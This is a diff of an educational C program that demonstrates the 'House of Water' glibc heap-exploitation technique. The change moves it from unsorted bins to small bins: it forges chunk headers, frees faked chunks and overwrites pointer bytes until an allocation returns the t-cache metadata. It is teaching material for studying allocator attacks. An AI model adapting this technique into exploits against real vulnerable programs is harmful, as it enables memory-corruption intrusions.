1
1
#include <stdio.h>
2
2
#include <stdlib.h>
3
3
#include <assert.h>
4
+ #include <unistd.h>
4
5
5
6
/*
6
7
* House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache
14
15
* size "0x10001" is created.
15
16
*
16
17
* This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked
17
- * address entries, enabling the creation of a fully functional fake unsorted -bin entry.
18
+ * address entries, enabling the creation of a fully functional fake small -bin entry.
18
19
*
19
20
* The correct size should be set for the chunk, and the next chunk's prev-in-use bit
20
21
* must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values
21
22
* should be written.
22
23
*
23
- * Finally, due to the behavior of allocations from unsorted -bins, once t-cache metadata control
24
+ * Finally, due to the behavior of allocations from small -bins, once t-cache metadata control
24
25
* is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer
25
26
* to be ready for allocation as well.
26
27
*
@@ -86,25 +87,25 @@ int main(void) {
86
87
puts ("\t==============================" );
87
88
puts ("\n" );
88
89
89
- // Step 2: Create the unsorted bins linked list, used for hijacking at a later time
90
+ // Step 2: Create the small bins linked list, used for hijacking at a later time
90
91
puts ("Now, allocate three 0x90 chunks with guard chunks in between. This prevents" );
91
92
puts ("chunk-consolidation and sets our target for the house of water attack." );
92
93
puts ("\t- chunks:" );
93
94
94
- void * unsorted_start = malloc (0x88 );
95
- printf ("\t\t* unsorted_start \t@ %p\n" , unsorted_start );
95
+ void * small_start = malloc (0x88 );
96
+ printf ("\t\t* small_start \t@ %p\n" , small_start );
96
97
_ = malloc (0x18 ); // Guard chunk
97
98
98
99
puts ("\t\t* /guard/" );
99
100
100
- void * unsorted_middle = malloc (0x88 );
101
- printf ("\t\t* unsorted_middle \t@ %p\n" , unsorted_middle );
101
+ void * small_middle = malloc (0x88 );
102
+ printf ("\t\t* small_middle \t@ %p\n" , small_middle );
102
103
_ = malloc (0x18 ); // Guard chunk
103
104
104
105
puts ("\t\t* /guard/" );
105
106
106
- void * unsorted_end = malloc (0x88 );
107
- printf ("\t\t* unsorted_end \t\t@ %p\n" , unsorted_end );
107
+ void * small_end = malloc (0x88 );
108
+ printf ("\t\t* small_end \t\t@ %p\n" , small_end );
108
109
_ = malloc (0x18 ); // Guard chunk
109
110
110
111
puts ("\t\t* /guard/" );
@@ -119,7 +120,7 @@ int main(void) {
119
120
puts ("\n" );
120
121
121
122
// Step 3: Satisfy the conditions for a free'd chunk, namely having the correct size at the end of the chunk and
122
- // a size field next to it having it's prev-in-use bit set to 0
123
+ // a size field next to it having it's prev-in-use bit set to 0
123
124
puts ("Make an allocation to reach the end of the faked chunk" );
124
125
125
126
_ = malloc (0xf000 ); // Padding
@@ -151,8 +152,8 @@ int main(void) {
151
152
152
153
// Step 4: Free t-cache entries
153
154
puts ("Fill up the 0x90 t-cache with the chunks allocated from earlier by freeing them." );
154
- puts ("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted -bin" );
155
- puts ("instead of the t-cache or small-bins ." );
155
+ puts ("By doing so, the next time a 0x88 chunk is free'd, it ends up in the small -bin" );
156
+ puts ("instead of the t-cache." );
156
157
for (int i = 0 ; i < 7 ; i ++ ) {
157
158
free (x [i ]);
158
159
}
@@ -165,31 +166,31 @@ int main(void) {
165
166
puts ("\t==============================" );
166
167
puts ("\n" );
167
168
168
- // Step 5: Create a 0x20 and a 0x30 t-cache entry which overlaps unsorted_start and unsorted_end .
169
+ // Step 5: Create a 0x20 and a 0x30 t-cache entry which overlaps small_start and small_end .
169
170
// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
170
171
171
172
puts ("Here comes the trickiest part!\n" );
172
173
173
174
puts ("We essentially want a pointer in the 0x20 t-cache metadata to act as a FWD\n"
174
175
"pointer and a pointer in the 0x30 t-cache to act as a BCK pointer." );
175
- puts ("We want it such that it points to the chunk header of our unsorted bin entries,\n"
176
+ puts ("We want it such that it points to the chunk header of our small bin entries,\n"
176
177
"and not at the chunk itself which is common for t-cache.\n" );
177
178
178
179
puts ("Using a technique like house of botcake or a stronger arb-free primitive, free a" );
179
- puts ("chunk such that it overlaps with the header of unsorted_start and unsorte_end ." );
180
+ puts ("chunk such that it overlaps with the header of small_start and small_end ." );
180
181
puts ("" );
181
182
182
183
puts ("It should look like the following:" );
183
184
puts ("" );
184
185
185
- puts ("unsorted_start :" );
186
- printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x30][0/1], unsortedbin [all][0]\n" , (unsigned long )(unsorted_start - 0x10 ), * (long * )(unsorted_start - 0x10 ), * (long * )(unsorted_start - 0x8 ));
187
- dump_memory (unsorted_start , 2 );
186
+ puts ("small_start :" );
187
+ printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x30][0/1], small [all][0]\n" , (unsigned long )(small_start - 0x10 ), * (long * )(small_start - 0x10 ), * (long * )(small_start - 0x8 ));
188
+ dump_memory (small_start , 2 );
188
189
puts ("" );
189
190
190
- puts ("unsorted_end :" );
191
- printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x20][0/1], unsortedbin [all][2]\n" , (unsigned long )(unsorted_end - 0x10 ), * (long * )(unsorted_end - 0x10 ), * (long * )(unsorted_end - 0x8 ));
192
- dump_memory (unsorted_end , 2 );
191
+ puts ("small_end :" );
192
+ printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x20][0/1], smallbin [all][2]\n" , (unsigned long )(small_end - 0x10 ), * (long * )(small_end - 0x10 ), * (long * )(small_end - 0x8 ));
193
+ dump_memory (small_end , 2 );
193
194
194
195
puts ("\n" );
195
196
puts ("If you want to see a blind example using only double free, see the following chal: " );
@@ -206,26 +207,26 @@ int main(void) {
206
207
puts ("\n" );
207
208
208
209
// Step 5 part 1:
209
- puts ("Write 0x31 above unsorted_start to enable its freeing into the 0x30 t-cache." );
210
- printf ("\t*%p-0x18 = 0x31\n" , unsorted_start );
211
- * (long * )(unsorted_start - 0x18 ) = 0x31 ;
210
+ puts ("Write 0x31 above small_start to enable its freeing into the 0x30 t-cache." );
211
+ printf ("\t*%p-0x18 = 0x31\n" , small_start );
212
+ * (long * )(small_start - 0x18 ) = 0x31 ;
212
213
puts ("" );
213
214
214
- puts ("This creates a 0x31 entry just above unsorted_start , which looks like the following:" );
215
- dump_memory (unsorted_start - 0x20 , 3 );
215
+ puts ("This creates a 0x31 entry just above small_start , which looks like the following:" );
216
+ dump_memory (small_start - 0x20 , 3 );
216
217
puts ("" );
217
218
218
- printf ("Free the faked 0x31 chunk @ %p\n" , unsorted_start - 0x10 );
219
- free (unsorted_start - 0x10 ); // Create a fake FWD
219
+ printf ("Free the faked 0x31 chunk @ %p\n" , small_start - 0x10 );
220
+ free (small_start - 0x10 ); // Create a fake FWD
220
221
puts ("" );
221
222
222
223
puts ("Finally, because of the meta-data created by free'ing the 0x31 chunk, we need to" );
223
- puts ("restore the original header of the unsorted_start chunk by restoring the 0x91 header:" );
224
- printf ("\t*%p-0x8 = 0x91\n" , unsorted_start );
225
- * (long * )(unsorted_start - 0x8 ) = 0x91 ;
224
+ puts ("restore the original header of the small_start chunk by restoring the 0x91 header:" );
225
+ printf ("\t*%p-0x8 = 0x91\n" , small_start );
226
+ * (long * )(small_start - 0x8 ) = 0x91 ;
226
227
puts ("" );
227
228
228
- puts ("Now, let's do the same for unsorted_end except using a 0x21 faked chunk." );
229
+ puts ("Now, let's do the same for small_end except using a 0x21 faked chunk." );
229
230
puts ("" );
230
231
231
232
@@ -235,22 +236,22 @@ int main(void) {
235
236
puts ("\n" );
236
237
237
238
// Step 5 part 2:
238
- puts ("Write 0x21 above unsorted_end , such that it can be free'd in to the 0x20 t-cache:" );
239
- printf ("\t*%p-0x18 = 0x21\n" , unsorted_end );
240
- * (long * )(unsorted_end - 0x18 ) = 0x21 ;
239
+ puts ("Write 0x21 above small_end , such that it can be free'd in to the 0x20 t-cache:" );
240
+ printf ("\t*%p-0x18 = 0x21\n" , small_end );
241
+ * (long * )(small_end - 0x18 ) = 0x21 ;
241
242
puts ("" );
242
243
243
- puts ("This creates a 0x21 just above unsorted_end , which looks like the following:" );
244
- dump_memory (unsorted_end - 0x20 , 3 );
244
+ puts ("This creates a 0x21 just above small_end , which looks like the following:" );
245
+ dump_memory (small_end - 0x20 , 3 );
245
246
puts ("" );
246
247
247
- printf ("Free the faked 0x21 chunk @ %p\n" , unsorted_end - 0x10 );
248
- free (unsorted_end - 0x10 ); // Create a fake BCK
248
+ printf ("Free the faked 0x21 chunk @ %p\n" , small_end - 0x10 );
249
+ free (small_end - 0x10 ); // Create a fake BCK
249
250
puts ("" );
250
251
251
- puts ("restore the original header of the unsorted_end chunk by restoring the 0x91 header:" );
252
- printf ("\t*%p-0x8 = 0x91\n" , unsorted_end );
253
- * (long * )(unsorted_end - 0x8 ) = 0x91 ;
252
+ puts ("restore the original header of the small_end chunk by restoring the 0x91 header:" );
253
+ printf ("\t*%p-0x8 = 0x91\n" , small_end );
254
+ * (long * )(small_end - 0x8 ) = 0x91 ;
254
255
puts ("" );
255
256
256
257
@@ -260,27 +261,27 @@ int main(void) {
260
261
puts ("\t==============================" );
261
262
puts ("\n" );
262
263
263
- // Step 6: Create the unsorted bin list
264
- puts ("Now, let's free the unsorted bin entries!" );
264
+ // Step 6: Create the small bin list
265
+ puts ("Now, let's free the small bin entries!" );
265
266
266
- puts ("\t> free(unsorted_end );" );
267
- free (unsorted_end );
267
+ puts ("\t> free(small_end );" );
268
+ free (small_end );
268
269
269
- puts ("\t> free(unsorted_middle );" );
270
- free (unsorted_middle );
270
+ puts ("\t> free(small_middle );" );
271
+ free (small_middle );
271
272
272
- puts ("\t> free(unsorted_start );" );
273
- free (unsorted_start );
273
+ puts ("\t> free(small_start );" );
274
+ free (small_start );
274
275
275
276
puts ("\n" );
276
277
277
278
// Show the setup as is
278
279
279
280
puts ("At this point, our heap looks something like this:" );
280
281
281
- printf ("\t- Unsorted bin:\n" );
282
- puts ("\t\tunsorted_start <--> unsorted_middle <--> unsorted_end " );
283
- printf ("\t\t%p <--> %p <--> %p\n" , unsorted_start - 0x10 , unsorted_middle - 0x10 , unsorted_end - 0x10 );
282
+ printf ("\t- Small bin:\n" );
283
+ puts ("\t\tsmall_start <--> small_middle <--> small_end " );
284
+ printf ("\t\t%p <--> %p <--> %p\n" , small_start - 0x10 , small_middle - 0x10 , small_end - 0x10 );
284
285
285
286
printf ("\t- 0x20 t-cache:\n" );
286
287
printf ("\t\t* 0x%lx\n" , * (long * )(metadata + 0x90 ));
@@ -292,8 +293,8 @@ int main(void) {
292
293
dump_memory (metadata + 0x70 , 4 );
293
294
puts ("" );
294
295
295
- puts ("We can now observe that the 0x30 t-cache points to unsorted_start and 0x20 t-cache points to " );
296
- puts ("unsorted_end , which is what we need to fake an unsorted -bin entry and hijack unsorted_middle ." );
296
+ puts ("We can now observe that the 0x30 t-cache points to small_start and 0x20 t-cache points to " );
297
+ puts ("small_end , which is what we need to fake an small -bin entry and hijack small_middle ." );
297
298
298
299
299
300
puts ("\n" );
@@ -302,29 +303,29 @@ int main(void) {
302
303
puts ("\t==============================" );
303
304
puts ("\n" );
304
305
305
- // Step 7: Overwrite LSB of unsorted_start and unsorted_end to point to the fake t-cache metadata chunk
306
- puts ("Finally, all there is left to do is simply overwrite the LSB of unsorted_start FWD-" );
307
- puts ("and BCK pointer for unsorted_end to point to the faked t-cache metadata chunk." );
306
+ // Step 7: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk
307
+ puts ("Finally, all there is left to do is simply overwrite the LSB of small_start FWD-" );
308
+ puts ("and BCK pointer for small_end to point to the faked t-cache metadata chunk." );
308
309
puts ("" );
309
310
310
311
/* VULNERABILITY */
311
- printf ("\t- unsorted_start :\n" );
312
- printf ("\t\t*%p = %p\n" , unsorted_start , metadata + 0x80 );
313
- * (unsigned long * )unsorted_start = (unsigned long )(metadata + 0x80 );
312
+ printf ("\t- small_start :\n" );
313
+ printf ("\t\t*%p = %p\n" , small_start , metadata + 0x80 );
314
+ * (unsigned long * )small_start = (unsigned long )(metadata + 0x80 );
314
315
puts ("" );
315
316
316
- printf ("\t- unsorted_end :\n" );
317
- printf ("\t\t*%p = %p\n" , unsorted_end , metadata + 0x80 );
318
- * (unsigned long * )(unsorted_end + 0x8 ) = (unsigned long )(metadata + 0x80 );
317
+ printf ("\t- small_end :\n" );
318
+ printf ("\t\t*%p = %p\n" , small_end , metadata + 0x80 );
319
+ * (unsigned long * )(small_end + 0x8 ) = (unsigned long )(metadata + 0x80 );
319
320
puts ("" );
320
321
/* VULNERABILITY */
321
322
322
- puts ("At this point, the unsorted bin will look like the following:" );
323
+ puts ("At this point, the small bin will look like the following:" );
323
324
puts ("" );
324
325
325
- puts ("\t- unsorted bin:" );
326
- printf ("\t\t unsorted_start <--> metadata chunk <--> unsorted_end \n" );
327
- printf ("\t\t %p\t %p %p\n" , unsorted_start , metadata + 0x80 , unsorted_end );
326
+ puts ("\t- small bin:" );
327
+ printf ("\t\t small_start <--> metadata chunk <--> small_end \n" );
328
+ printf ("\t\t %p\t %p %p\n" , small_start , metadata + 0x80 , small_end );
328
329
329
330
330
331
puts ("\n" );
@@ -334,37 +335,19 @@ int main(void) {
334
335
puts ("\n" );
335
336
336
337
// Step 8: allocate to win
337
- puts ("Now, simply just allocate a chunk that's within the 0x10000 range" );
338
- puts ("to allocate from the faked chunk. As an example, we will allocate a 0x288:" );
339
-
340
- puts ("\t- 0x288 chunk:" );
338
+ puts ("Now, we can get the metadata chunk by doing 10 allocations:" );
339
+ puts ("\t7 for tcachebins" );
340
+ puts ("\t1 for small_start, which triggers the reverse refilling logic (moving chunks from smallbin to tcache)" );
341
+ puts ("\t1 for small_end, it is out first because revere refilling reverses the linked list" );
342
+ puts ("\tand the last one is our tcache metadata chunk" );
341
343
344
+ for (int i = 0 ; i < 9 ; i ++ ) malloc (0x88 );
345
+
342
346
// Next allocation *could* be our faked chunk!
343
- void * meta_chunk = malloc (0x288 );
347
+ void * meta_chunk = malloc (0x88 );
344
348
345
349
printf ("\t\tNew chunk\t @ %p\n" , meta_chunk );
346
350
printf ("\t\tt-cache metadata @ %p\n" , metadata );
347
351
assert (meta_chunk == (metadata + 0x90 ));
348
352
puts ("" );
349
-
350
-
351
- puts ("\n" );
352
- puts ("\t==============================" );
353
- puts ("\t| BONUS! |" );
354
- puts ("\t==============================" );
355
- puts ("\n" );
356
-
357
- // BONUS!
358
- puts ("Whilst the primary goal of this house is to provide a leakless way" );
359
- puts ("to gain t-cache control by overwriting LSB, a nice bonus is the free LIBC" );
360
- puts ("pointer we get as an added bonus to the method!" );
361
- puts ("" );
362
-
363
- puts ("This is what the t-cache metadata will look like after we allocated the" );
364
- puts ("t-cache metadata chunk:" );
365
- dump_memory (metadata + 0x70 , 4 );
366
- puts ("" );
367
-
368
-
369
- puts ("Notice how the 0x20 and 0x30 t-cache now contains a libc pointer to the main_arena." );
370
353
}
0 commit comments